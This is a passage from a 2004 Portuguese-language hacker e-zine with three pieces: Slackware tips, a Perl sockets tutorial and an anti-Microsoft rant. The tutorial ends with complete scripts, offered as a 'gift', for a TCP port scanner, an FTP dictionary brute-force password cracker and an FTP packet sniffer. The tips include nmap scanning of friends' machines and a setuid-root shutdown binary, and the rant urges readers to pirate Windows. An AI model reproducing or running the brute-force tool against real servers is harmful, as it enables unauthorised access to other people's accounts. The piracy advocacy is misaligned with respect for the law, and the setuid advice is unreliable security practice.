-----[Liberando o shutdown para usuários comuns]-------------------------------
Quando você instala o Slackware cada vez que você deseja desligar ou reiniciar
o PC tem que entrar como root, pois o seu usuario não tem acesso ao shutdown.
Para seu usuario comum ter acesso ao shutdown siga os passos abaixo:
Primeiramente você deve estar como root. (basta digitar "su" e em seguida
digitar
a sua senha)
Agora vamos criar o grupo "shutdown", para isso: "groupadd shutdown"
Coloque o /sbin/shutdown no grupo shutdown: "chown root.shutdown /sbin/shutdown"
Dê a seguinte permissão: "chmod 4754 /sbin/shutdown"
E agora faça um link em /bin: "ln -s /sbin/shutdown /bin/shutdown"
Agora, para que o comando shutdown fique disponivel sempre que um usuario
fizer login, abra o arquivo /etc/login.defs (como root) com seu editor
preferido. (exemplo: emacs /etc/login.defs)
Perto do final deste arquivo tem uma linha que diz: #CONSOLE_GROUPS
floppy:audio:cdrom
Descomente esta linha (basta remover o #) e no final da linha adicione
":shutdown",
ficando assim:
CONSOLE_GROUPS floppy:audio:cdrom:shutdown
Pronto. Seguindo as instruções acima qualquer usuário poderá desligar/reiniciar
o computador.
Reiniciar: shutdown -r now
Desligar: shutdown -h now
OBS: É necessário reiniciar o X para que tudo funcione corretamente! ;)
-------------------------------------------------------------------------------
-----[Colocando diretórios no PATH]--------------------------------------------
Muitas vezes você instala um programa e tem de ir até a pasta onde está o
arquivo binário dele para poder executá-lo. Isso realmente é um saco. Para você
poder executar o programa de qualquer diretório, você deve especificar o caminho
do programa no PATH. Para isso, edite o arquivo /etc/profile com o seu editor
preferido (como root, é claro).
Exemplo: emacs /etc/profile
Logo no inicio veja a linha que diz: # Set the default system $PATH
Veja o exemplo do PATH:
PATH="/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games"
Então, digamos que instalou um programa com o nome "motd" e seu binário está
dentro do /usr/guide
Você deve colocar no PATH apenas o caminho /usr/guide , ficando assim:
PATH="/user/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:/usr/guide"
Salve. Está pronto, você ja pode executar o programa "motd" a partir de qualquer
diretório. :)
-------------------------------------------------------------------------------
-----[Desativando resposta ao comando ping (recomendado)]----------------------
Para você desativar a resposta ao comando ping, digite:
iptables -A INPUT -p icmp -j DROP
Você deve salvar, para isso digite:
iptables-save
Caso queira desfazer tudo que fez, apenas mude o -A para -D e salve novamente:
iptables -D INPUT -p icmp -j DROP
iptables-save
-------------------------------------------------------------------------------
-----[Checagem de portas em uma máquina]---------------------------------------
Nmap é uma ferramenta de exploração de rede e scanner de segurança. Ele possui
inúmeras opções e se todas fossem listadas aqui, ficaria extremamente grande o
artigo (hehehe). Então aí vai um comandinho bastante útil para você checar
portas abertas em uma máquina, bastante util para você descobrir portas abertas
na máquina de seus amigos e orientá-los quanto a segurança. Maiores duvidas: man
nmap :)
Para fazer a verificação de portas em uma máquina, digite:
nmap -sS -v -v -P0 -O IP
Onde "IP", é o número IP da maquina a ser checada.
O nmap não é recomendado para fazer checagens em sua própria máquina. Para isso
você pode usar o netstat:
netstat -na |grep LIST
-------------------------------------------------------------------------------
-----[Tirando screenshots]-----------------------------------------------------
Para você tirar um screenshot de sua máquina use:
import -w root motd.jpg
Isso pode parecer inútil, mas é legal quando você quiser enviar para algum
amigo um screenshot do seu Slack bem bonito para ele perceber como o Windows
dele é feio. ;)
-------------------------------------------------------------------------------
-----[Compilando com o gcc]----------------------------------------------------
O GCC é o compilador de C/C++ mais usado no Linux. Por ser usado na base de
comandos, pode parecer um pouco compliaco no inicio mas depois você acaba se
acostumando.
Primeiramente você deve criar o seu programa. Use seu editor de texto
preferido. (exemplo: "vi motd.c") Agora que você ja criou o arquivo e codou o
seu programinha é hora de compilar:
Exemplo:
gcc -o motd motd.c
OBS: O GCC possui inúmeras opções e se você quer saber mais detalhes dê uma
olhada no manual dele: "man gcc"
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
CONCLUINDO:
-------------------------------------------------------------------------------
Bom, é isso ae! Finalmente chegamos ao fim deste pequeno artigo e espero que
de alguma forma ele tenha sido útil. Tentei colocar aqui algumas dúvidas comuns
de usuários iniciantes e principalmente as minhas. Hehehe! Agradeço ao pessoal
do MOTDLabs pelo auxílio e pelo espaço cedido e espero poder escrever outros
artigos para o grupo. Abraços. :)
-------------------------------------------------------------------------------
tzlord to motdlabs.org
"Não existe trabalho ruim. O ruim é ter que trabalhar" (by Seu
Madruga)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[07]=-[Sockets in Perl for dummies]-=|BlackSh33p|-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-------------------------------
- - = = < Sockets in Perl for dummies > = = - -
-------------------------------
Por: BlackSh33p 06/2004
___________________
1. INTRODUCAO \ __________________
________________________________________\
É pessoal ... poucos dias de ser lancada o zine eu resolvi escreve
esse txt porque po, ja tinha ficado devendo na zine passada e prometi
que faria algo legal para esta zine .Entao ae esta "Sockets in perl
for dummies".Amadores da linguagem C devem estar dizendo A pq perl ao
inves de C. Bem como disse Larry Wall ,Perl é uma linguagem de facil
aprendizado e muito flexivel. Ele esta completamente correto e tenho
estudado muito ultimamente .Os requisitos para compreender esse txt
é no minimo que voce sabe o basico de Perl ,just this !! Bem chega
de falar merda, vou tentar ser o mais pratico possivel e é isso ae...
Enjoy
_________________________
2. Sockets e suas funcoes \ ___________________
_______________________________________________\
Bem todos dados colocados aqui foram retirados das man pages e
do livro Perl da editora o'reilly .Eu nao conseguiria explicar com
minhas palavras isso aqui entao me limitarei a mostrar codigos perl
fucadores e comenta-los .Teoria deixa pros guru de "PERL" :)
1) socket:
sintaxe: socket soquete, dominio, tipo, protocolo
Abre um soquete do tipo especificado e anexa-o ao handle de arquivo
soquete. O dominio, o tipo e o protocolo sao especificados como para
socket. Antes de usar esta funcao, seu programa devera conter a linha:
use Socket;
Esta definicao fornecera as devidas constantes. A funcao retornara true
se tiver sucesso.
Ex: socket(SOQUETE, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or
die $!;
2) bind:
sintaxe: bind soquete, endereco
Anexa um endereco a um soquete ja aberto especificado pelo handle de
arquivo soquete. A funcao retornara true se for bem-sucedida e false do
contrario (e colocara o codigo do erro em $!). O endereco devera ser um
endereco compactado do devido tipo do soquete.
Ex: bind (SOQUETE, sockaddr_in(80, INADDR_ANY));
3) listen:
sintaxe: listen soquete, tamanho_da_fila
Informa ao sistema operacional que vc esta pronto para aceitar as
conexoes no soquete e define o numero de conexoes que aguardam para o
tamanho_da_fila. Se a fila estiver cheia, os clientes que tentam
conectar o soquete terao a conexao recusada. Usada apenas para os
soquetes do lado do servidor.
Ex: listen (SOQUETE, 5);
4) accept:
sintaxe: accept novo_soquete, soquete_generico
Prepara um processo do servidor para aceitar as conexoes de soquete dos
clientes. A execucao e suspensa ate que uma conexao seja feita, neste
momento o handle de arquivo novo_soquete e aberto e anexado a conexao
feita recentemente. A funcao retornara o endereco conectado se a
chamada tiver sucesso, do contrario, retornara false ( colocando o erro
em $!). O soquete_generico tera que ser um handle de arquivo ja aberto
atraves da funcao socket e vinculado a um dos enderecos de rede do
servidor. E usado apenas no lado do servidor.
Ex: accept (NEW_SOCKET, SOQUETE) or die $!;
5) connect;
sintaxe: connect soquete, endereco
Inicia uma conexao com outro processo que esta aguardando em uma accept
no handle de arquivo soquete. A funcao retornara true para o sucesso,
do contrario retornara false (colocando o erro em $!). O endereco e um
endereco da rede compactado do devido tipo de soquete. Para desconectar
um soquete, use close ou shutdown(8). Usado apenas no lado do cliente.
ex: connect(SOQUETE, sockaddr_in(21, inet_aton('ftp.slackware.com'))
or die $!;
6) recv:
sintaxe: recv soquete, $var, comprimento, marcas
Recebe uma mensagem em um soquete. Tenta receber os bytes de comprimento
dos dados na variavel var a partir do handle de arquivo soquete
especificado. A funcao retornara o endereco do emissor ou um valor
indefinido se ouver um erro. A var aumentara ou diminuira segundo o
comprimento atualmente lido. A funcao tem as mesmas marcas da chamada
do sistema recv.
Ex: recv (SOQUETE, $buffer);
7) send: sintaxe: send soquete, msg, marcas, [dest]
Envia uma mensagem msg em um soquete. Tem as mesmas marcas da chamada do
sistema com nome igual -- veja send(2). Nos soquetes desconectados, voce
tera que especificar um destino dest para enviar, neste caso send
funcionara como a sendto. A funcao retornara o numero de bytes enviados
ou um valor indefinido se houver um erro. No caso de erro, colocara o
codigo de erro em $!.
ex: $msg = "fuck";
send(SOQUETE, $msg);
8) shutdown (ou close)
sintaxe: shutdown soquete, como
Finaliza uma conexao de soquete da maneira indicada por como. Se como
for 0, mais recebimentos serao recusados. Se como for 1, mais envios
serao recusados. Se como for 2, tudo sera recusado.
Ex: shutdown (SOQUETE, 0);
sintaxe: close handle_de_arquivo
Fecha o arquivo, o soquete ou o canal associado ao determinado handle de
arquivo.
Ex: close(SOQUETE);
############### Funcoes do modulo Socket: ###############
1) inet_aton
sintaxe: inet_aton(nome_host);
Converte um nome do host como www.algumacoisa.com.br ou 200.217.98.100
em uma estrutura de dados (uma string com quatro bytes) usada para os
enderecos de soquete. Se o nome do host nao puder ser resolvido, a
funcao retornara um valor indefinido.
2) inet_ntoa
sintaxe: inet_ntoa(string_ender);
Converte uma string de endereco com quatro bytes (como retornado por
inet_aton) em uma string com a forma de quatro do endereco IP com pontos.
3) sockaddr_in
sintaxe: sockaddr_in(porta, string_ender);
pack_sockaddr_in(porta, string_ender);
Obtem um numero da porta e uma string_ender com quatro bytes (como
retornado por inet_aton) e retorna a estrutura de endereco do soquete
inclusive os argumentos compactados com o argumento AF_INET. Essa
estrutura e normalmente o que voce precisara para os argumentos em bind,
connect e send e e tambem retornada por getpeername, getsockname e recv.
4) sockaddr_un
sintaxe: sockaddr_un(nome_caminho);
pack_sockaddr_un(nome_caminho);
Obtem um argumento, um nome do caminho e retorna a estrutura do endereco
de soquete do dominio Unix (o caminho compactado com AF_UNIX preenchido).
Para os soquetes do dominio Unix, essa estrutura e normalmente o que voce
precisara para os argumentos em bind, connect e send e e tambem retornada
oir getpeername, getsockname e recv.
5) unpack_sockaddr_in
sintaxe: unpack_sockaddr_in(ender_soquete);
sockaddr_in(ender_soquete);
Obtem uma estrutura de endereco do soquete e retorna uma array de dois
elementos (no contexto da lista): o numero da porta e o endereco de IP
com quatro bytes.
6) unpack_sockaddr_un
sintaxe: unpack_sockaddr_un(ender_soquete_un);
sockaddr_un(ender_soquete_un);
Obtem uma estrutura de endereco do soquete do dominio Unix (como
retornado por sockaddr_un) e retorna o nome do caminho.
Com base nisso podemos fazer alguma coisinha só pra voce ir pegando
gosto da coisa .Comentarei apenas as funcoes destacadas assima,ou seja
apenas as utilizadas com a chamada do socket.
-=-=-=-=-=-=--=-=-=-= Cut Here Conecta.pl
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#!/usr/bin/perl
use Socket; #Chama do socket
$ARGC =@ARGV;
if($ARGC < 3){
print("Conecta.pl desenvolvido para o tutorial de sockets \n");
print("Use : $0 \n");
print("Motd Guide 3 na veia \n ");
}
&struct;
sub struct{
my($host) =$ARGV[0];
my($port) =21;
my($prot) =getprotobyname('tcp'); #Define o protocolo no caso 'tcp'
my($addr) =inet_aton($host); #Converte o host em alguma coisa
my($iaddr) =sockaddr_in($port,$host); #Obtem a porta e host remoto
$sock =socket(SOCK,PF_INET,SOCK_STREAM,$prot)||die "Erro socket \n";
#Declaracao do socket
connect(SOCK,$iadd)||die "Erro conect \n"; #Connectando no host e
porta remota
}
$login =$ARGV[1];
$passwd =$ARGV[2];
send(SOCK,$login)||die"Erro send login \n"; #Enviando login para o server
send(SOCK,$passwd)||die"Erro send passwd \n"; #Enviando passwd para o
server
print("Login and passwd it's ok !!\n");
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bem tai um simples exemplo da utilizao de sockets ,um script que
conecta
(ftp) e envia seus respectivos login e senha para la. Bem agora que
voce ja
sabe alguma coisa sobre Perl sockets. Vamus comecar a avancar.
Existe
alguns modulos capazes de facilitar o uso de sockets em perl . Todos
serao
serao uteis para vc, acredite :)
_____________________
3. Modulos de Perl \__________________
________________________________________\
Dinovo nesta parte me limitarei apenas cometar o codigo e nao falar
sobre
teorias complexas mesmo porque eu nao conseguiria explicar mas deixa
que a
parte do codigo eu mostro direitinho !!
1) PeerAddr
sintaxe: PeerAddr => nome_host[:porta]
Especifica o host remoto e o numero da porta opcional para uma conexao
do cliente. O nome_host podera ser um nome, como www.fuck.com ou um
numero de IP com a forma 200.217.98.100.
2) PeerPort
sintaxe: PeerPort => porta
Especifica o numero da porta no host remoto para uma conexao do cliente.
O nome do servico (como http ou nntp) podera ser usado para o argumento
se o numero da porta for desconhecido.
3) LocalAddr
sintaxe: LocalAddr => nome_host[:porta]
Especifica o endereco local (e o numero da porta opcional) para vincular
um soquete no lado do servidor.
4) LocalPort
sintaxe: LocalPort => porta
Especifica o numero da porta local (ou nome do servico) para vincular um
soquete no lado do servidor.
5) Proto
sintaxe: Proto => nome
Especifica o protocolo a ser executado no soquete, por exemplo, tcp ou
udp.
6) Type
sintaxe: Type => SOCK_STREAM | SOCK_DGRAM
Espefica o tipo de soquete. SOCK_STREAM indica uma conexao de soquete
baseada em fluxo e SOCK_DGRAM indica uma conexao (datagrama) baseada em
messagens.
7) Listen
sintaxe: Listen => n
Define o tamanho da fila atendente para o numero n de solicitacoes do
cliente.
8) Reuse
sintaxe: Reuse => 1
Dado um numero diferente de zero, esta opcao permitira que o endereco de
vinculo local seja reutilizado, caso o soquete precise ser reaberto
depois de um erro.
9) Timeout
sintaxe: Timeout => n
Define o intervalo.
############### Metodos do IO:Socket:INET ###############
1) sockaddr
sintaxe: sockaddr
Retorna a parte do endereco (como string compactada) da estrutura de
dados de endreco do soquete para o soquete.
2) sockport
sintaxe: sockport
Retorna o numero da porta local para o soquete.
3) sockhost
sintaxe: sockhost
Retorna a parte do endereco da estrutura de dados de endereco do soquete
na forma de string com quatro partes e pontos, por exemplo,
200.217.98.100.
4) peeraddr
sintaxe: peeraddr
Retorna a parte do endereco (string compactada) da estrutura de dados de
endereco do soquete para o host remoto ao qual um soquete se conecta.
5) peerport
sintaxe: peerport
Retorna o numero da porta para o host remoto ao qual um soquete se
conecta.
6) peerhost
sintaxe: peerhost
Retorna o endereco do host remoto na forma de string com quatro partes e
pontos, por exemplo, 200.217.98.100.
-=---=-=-=-=-=-=-=-=-=-=-Cut Here conecta2.pl
=-=--=-=-=-=-=-=-=-=-=-=-=-=-
#!/usr/bin/perl
use IO::Socket::INET;
print("Host : ");
chomp($host =);
print("\nLogin : ");
chomp($login =);
print("\nPasswd : ");
chomp($pass =);
$sock =IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 21,
Proto => 'tcp',
Type => SOCK_STREAM)||die "Nao foi
possivel conectar \n";
print $sock "$login\n";
print $sock "$pass\n";
$res =<$sock>;
print"$res\n";
close($sock);
-=-=-=-=-=-=-=-=-=-=-= Cut Here conecta.pl
-=-=-=-=-========-=-=-=-=-=-=-=-=-=-=
Bem esta ae mais um simples exemplo, tudo pode ser feito com scripts
perl isso
é bem basico mais quero ser o mais detalhado possivel mas por favor
qualquer
duvida send me one mail :)
_______________________
4. Exemplo fucador \____________________
____________________________________________\
Bem chegou a hora tao esperada .Vamus fazer e ver alguns exemplos
deixei pra
comentar algumas funcoes nos exemplos .Bem voces devem ter notado que
to meio
apressado pra escreve é ... To finalizando o texto hje /08/08 e
preciso manda
o txt pro IP_FIX ( eae loko :) si nao, nao sai na zine mas prometo q
logo vou
estar disponibilizando uns codez bem legais e outros txt de qualidade
Ok ?? Ta
vamus ao primeiro exemplo .
-=-=-=-=-=-=-=-=-=-=-=-= Cut Here scan.pl -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#!/usr/bin/perl
# MOTD-PScanner v 0.1
# MOTD Labs ( http://www.motdlabs.org )
# coded by inferninh0 (inferninho@motdlabs.org)
# Description:
#
# Port Scanner using the concept of open scanning
# CAN BE LOGGED EASILY, USE ONLY FOR STUDY...;-)
#
# Greetz: hallucination
####
use Socket;
$ARGC=@ARGV;
if($ARGC<1) {
print "MOTD-PScanner v 0.1\n";
print "Usage: perl $0 host\n\n";
exit; }
print "\nStarting MOTD-PScanner v 0.1 ( http://www.motdlabs.org/ )";
print "\nInteresting ports on $ARGV[0]\n\n";
for($port_in = 0; $port_in <= 6000; $port_in++) {
$iaddr= inet_aton($ARGV[0]) || die "Nao foi possivel conectar no
Host.($!)";
$paddr= sockaddr_in($port_in, $iaddr);
$proto= getprotobyname('tcp');
socket(SOCK, AF_INET, SOCK_STREAM, $proto);
if(connect(SOCK, $paddr)) {
$servico=getservbyport($port_in,'tcp');
print "Port $port_in --> $servico open\n";
close(SOCK);
}
}
print "\nScanner completed...\n\n";
exit;
Scan de portas desenvolvido pelo hax0r inferninh0 ( valeu inferninho
por libera seu code :) Ele scaneia portas de 0 a 6000 a unica funcao
desconhecida é 'getservbyport' q obtem o servico da porta, o resto se
ja conhece !!
_________________
5. Presentinho \_________________
___________________________________\
Aproveitem e estudem esses codez :)
-==-=-=-=-=-= Cut Here Brute_force_attack.pl -=-=-=-=-=-=-=-=-=-=-=-=-=-
#!/usr/bin/perl
use Socket;
print "\n\07FTP Brute Force attack 1.0 - Near(Z) - 1998 - SouL Hunter";
print "\nVersao MONO, nearz\@cyberpace.org\n\n";
if ($ARGV[0] eq '' || $ARGV[1] eq '' || $ARGV[2] eq '') { print
"\n\nUsage: hackftp Host Login Dictionary\nEx. hackftp 127.0.0.1 Joao
Dict\n\n";exit;}
my($h,$p,$in_addr,$proto,$addr);
$i=0;$temp='';$temp2='';$temp10='';$temp12='';$h = "$ARGV[0]";
$p = 21;
$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
$check=0;
open (FILE,"$ARGV[2]") || die "cade o dicionario?";
&resume;
do{
&connection;
&getword;
&data1;
&data2;
&result;
# &getword;
# &data2;
# &result;
close S;
}while(1==1);
sub connection
{
socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;
connect(S,$addr) or die $!;
}
sub data1
{
do{
read(S, $var1, 1) || die $!;
$temp="$temp$var1"; $i++;
}while(substr($temp,$i-3,3) ne '220');
}
sub data2
{
$temp='';
$i=0;
send (S,"user $ARGV[1]\n",0) || die "Erro enviando";
do{
read(S, $var1, 1) || die $!;
$temp="$temp$var1"; $i++;
}while(substr($temp,$i-3,3) ne '331' && substr($temp,$i-3,3)
ne '530');
if(substr($temp,$i-3,3) eq '530'){
print "\nLogin nao permitido - $ARGV[1]\n\n";
exit;
}
send (S,"pass $temp2",0) || die "Erro enviando";
$temp='';
$i=0;
do{
read(S, $var1, 1) || die $!;
$temp="$temp$var1"; $i++;
}while(substr($temp,$i-3,3) ne '530' && substr($temp,$i-3,3)
ne '230');
}
sub result
{
if(substr($temp,$i-3,3) eq '230'){
print "\n\07$ARGV[0]/$ARGV[1] - [$z]senha : $temp2\n";
open (FILE3,">>$ARGV[0].$ARGV[1]-result") ;
print FILE3 "\n1 - $ARGV[0]/$ARGV[1] - [$z] senha :
$temp2\n";
print FILE2 "\n1 - $ARGV[0]/$ARGV[1] - [$z] senha :
$temp2\n";
close FILE3;
exit;
}
if(substr($temp,$i-3,3) eq '530'){
open (FILE4,">$ARGV[0].$ARGV[1]-resume");
print "$ARGV[0]/$ARGV[1] - [$z] not found - $temp2";
print FILE4 "$z
";
close FILE4;
}
}
sub getword
{
$temp2='';
do{
read(FILE, $var12, 1);
$temp2="$temp2$var12";
}while($var12 ne chr(10));
$z++;
}
sub resume
{
if(open(FILE5,"$ARGV[0].$ARGV[1]-resume")){
read (FILE5, $temp10, 50);
close FILE5;
$z=$temp10;
for($i=0;$i<$z;$i++){
do{
read(FILE, $var12, 1);
$temp2="$temp2$var12";
}while($var12 ne chr(10));
}
}
$i=0;
}
-=-=-=-=-=-=-=-=-=- Cut Here sniffer.pl -=-=-=-=-=-=-=-=-=-=-=-=
#!/usr/bin/perl
# Simple script for educational purposes
# It prints to STDOUT flags tcp packets from ftp server and client
use Net::RawIP; # Net::RawIP rulez :)
require 'getopts.pl';
Getopts('i:d:n:');
die "Usage $0 -i -d -n "
unless ($opt_d && $opt_d && $opt_n);
print "Now please login to your ftp server\n";
@flags = qw/URG ACK PSH RST SYN FIN/;
$filter = "dst host $opt_i and dst port 21";
$filter1 = "src host $opt_i and src port 21";
$psize = 1500;
$device = $opt_d;
$timeout = 500;
if(fork()){
$a = new Net::RawIP;
my $pcap = $a->pcapinit($device,$filter,$psize,$timeout);
loop $pcap,$opt_n,\&cl,\@a;
}
else {
$b = new Net::RawIP;
my $pcap = $b->pcapinit($device,$filter1,$psize,$timeout);
loop $pcap,$opt_n,\&sv,\@a;
}
sub cl {
$a->bset(substr( $_[2],14));
my @fl = $a->get({tcp=>
[qw(psh syn fin rst urg ack)]
});
print "Client -> ";
map { print "$flags[$_] " if $fl[$_] } (0..5);
print "\n"
}
sub sv {
$b->bset(substr( $_[2],14));
my @fl = $b->get({tcp=>
[qw(psh syn fin rst urg ack)]
});
print "Server -> ";
map { print "$flags[$_] " if $fl[$_] } (0..5);
print "\n";
}
__________________
5 Finalizando \_______________
__________________________________\
Bem esse foi mais um txt inutil by BlackSh33p, kra pesso desculpa a
todos vcs fiquei devendo queria te botado muito mais coisa mas nao deu
mesmo. Tava estudando pra uma prova e acabei esquecendo. Prometo que o
proximo sera bem melhor. Creditos ao inferninh0 por me permitir usufruir
de seus codez ( falei bunito agora né :), ao IP_FIX por me ceder um
espaco na zine e um alo a _tzlord_ meu parceirao :D
Tank's for all
_________________________
7.Links \_________________
___________________________________________\
http://www.motdlabs.org/
http://www.perl.com/
http://www.perl.org/
http://www.oreilly.com/
http://Tutorial.VirtualAve.net/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[08]=-[Nós ainda estamos ganhando...]=-|bashX|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Desde 1900 e "nao me lembro quando" isso ja estava previsto, que iria ser
motivo da mais longa e discutida guerra digital. E dizer guerra voces sabem que
nao eh exagero nenhum. Quantos milhares de desenvolvedores nesse mundo nao
desenvolvem aplicativos que por minima que seja a utilidade do seu software, eh
desenvolvido com intencao de nao dar se quer uma misera linha de codigo para a
gigante Microsoft. Claro que nao estou falando de dar diretamente a ela, mas
contra ela, a favor dos sistemas operacionais ditos LIVRES, aqueles cuja
filosofia seria mais que intocavel. Meu Deus, o Linux em 1999, que nem tao
distante esta - Para algumas pessoas isso eh ate recente. Quem ja ve esse filme
a bem mais tempo vai ter a ficha caida tambem. La estava ele, o inimigo numero 1
da Microsoft, usado pelos revolucionarios, anarquistas, hackers, esquerdos,
inimigos, enfim, a parte especial que se diferenciava da massa.
Linux e sua filosofia de liberdade, enquanto centenas ou ate milhares de
pessoas, separavam horas de suas vidas desenvolvendo para um sistema operacional
cuja existencia era apenas para iniciar o fim da era Windows, essas pessoas nao
sabiam metade do que iria acontecer e que dali pra frente alem de aplicativos
elas estavam escrevendo uma historia digital.
Anos vao se passando e os aplicativos vao sendo melhorados, novas tecnologias
e ferramentas de tecnologia de desenvolvimento de softwares vao aparecendo em
noticias postadas em portais e revistas - O Linux estava mais do que nunca
provando ser o pesadelo da microsoft. Esta por sua vez so aparecia com seus
lancamentos previsiveis e vergonhosos, em 2001 nao se ouvia falar bem da empresa
de Bill Gates, eram apenas vexames apos vexames, o que dava-se a imaginar eh que
aquilo soh teria de piorar, os anos passavam os lancamentos seguidos de
atualizacoes MS caminhavam pra uma mesmisse e Linux e os outros OS como FreeBSD,
ja traziam novidades consideravelmente visiveis ao mundo de aplicativos, tanto
para Desktop quanto para Servidores. Ate aplicativos fora dessa briga MS x
FilosoFree ja estavam entrando na onda de FreeWare. Ja eh comum encontrar algum
software gratis que nao deixa nada a desejar pra softwares "copyrightados", ate
mesmo com a mesma eficiencia.
Enfim, chegamos no ponto em questao. Alguem neste mundo chegou realmente a
pensar ou pensa ateh hoje que a Microsoft Corporation ou Bill Gates propriamente
dito teria orgulho suficiente ao ponto de chegar a nao se aproveitar da
inteligencia, diria mais, da genialidade de tantos desenvolvedores de softwares
neste mundo... Alguem foi ingenuo o suficiente pra pensar isso?
Quem aqui nao conhece Bill Gates, o homem que passou a perna na Apple, o homem
da frase: "Os inteligentes criam, os espertos COPIAM", nao necessariamente nesta
mesma exata! Mas todo o esforço, todos os anos que se passaram com os
programadores de todo mundo que desenvolveram com a intencao de fazer do mundo
digital um lugar melhor para os usuarios do MUNDO, foi tudo, linha por linha,
cada linha de codigo, lida pela Microsoft. Eh incomodavelmente visivel isso, do
Windows XP pra frente voce tem a prova mais do que suficiente de que o que era
previsto durante anos pela comunidade anti-microsoft veio a acontecer. Nao me
venham defender a MS Corporation dizendo que: "e se os caras tambem tiverem o
dom?". Meus amigos, ninguem quer tentar reinventar a roda. Eh impossivel negar
que no minimo a evolucao do sistema da MS nao tenha tido motivo certo, ela tinha
que fazer alguma coisa, o Linux soh melhorava; A Microsoft deve ao Linux, essa
eh a verdade, eu continuo na mesma tecla, eh impossivel q ela nao tenha olhado
uma linha de codigo se quer.
Nao que o Windows XP seja perfeito e traga a satisfarcao que um OS Free nos
traz. Mas ta ali, e todo mundo sabe, o que estou tentando dizer com isso eh: do
que adiantou tanta briga? Os desenvolvedores foram otimos, nos trouxeram
otimizacoes essenciais pra nossa vida mas, e ai, vem um fdp e rouba, nao estou
falando de copiar e colar, digo roubar a tecnologia, querendo ou nao, para todos
nos que sabemos que windows eh um lixo, todos tb chegamos a conclusao de que:
Windows ainda eh um lixo, mas na frente do q era, estah menos ruim. Fala serio:
Linux, FreeBSD, OBSD, QNX, NBSD, o que seja, tem todos os recursos tb, mas nao
eh todo mundo que tem esta massa cinzenta preocupada no Sistema Operacional que
vai usar. Pro usuario o que eh mais facil eh melhor, e hoje em dia, o usuario
normal q preferir outro OS q nao seja Windows, porque Windows nao livre, no
minimo nao tem acesso a um pirateiro de esquina de rua. Uma copia pirateada de
XP chega a sair por 5 reais, eh mais amigavel pra qualquer usuario, eu conheco
ditos hackers que nao vivem sem Windows. Venhamos e convenhamos, querendo ou
nao, o sistema operacional da microsoft sendo usado pirateado como eh, pela
maioria esmagadora de seus usuarios chega a ser perfeito, muito mais se vc
pensar que: "perae, se estah do jeito que estah, pq desenvolvedores do mundo
todo tiveram seus softwares copiados pra q esse Sistema Operacional chegasse a
ficar assim, aceitavel atualmente do jeito que estah, e eu nao ter pago
praticamente porra nenhuma por ele, e estar satisfeito com o desempenho de meu
computador, sabendo tb q praticamente seu codigo eh de origem nobre, eu estou
usando um software livre sim, roubado, mas ainda sim livre, logo, eh dente por
dente e unha por unha, dah lah dah cah!, vc nos roubou, mas eu te lerdo. FUCK
OFF MS".
Nao estou falando pra sermos amigos da Microsoft, nao mesmo, devemos mais do
que nunca ser inimigos, ela eh ladra, mas pq nao usufruirmos de uma coisa "que
eh nossa" por direito, devemos usar, abusar e ser inimiga dessa maldita ladra,
ate pq nao sabemos ate quando teremos acesso a esse OS por meios ilegais. Então,
ENTENDAM: SENDO MICROSOFT, E USANDO ILEGALMENTE, PERFEITO VOCE JA ESTAH FAZENDO
SUA PARTE. ESTA GUERRA ESTAH LONGE DE TERMINAR, NAO SEJA INIMIGO DE OUTROS
FREE/OS, SOMOS INIMIGOS DA MESMA MERDA!! NOSSO ALVO, SEMPRE FOI E SEMPRE SERAH A
MICROSOFT!!!
by bashX
bashx@click21.com.br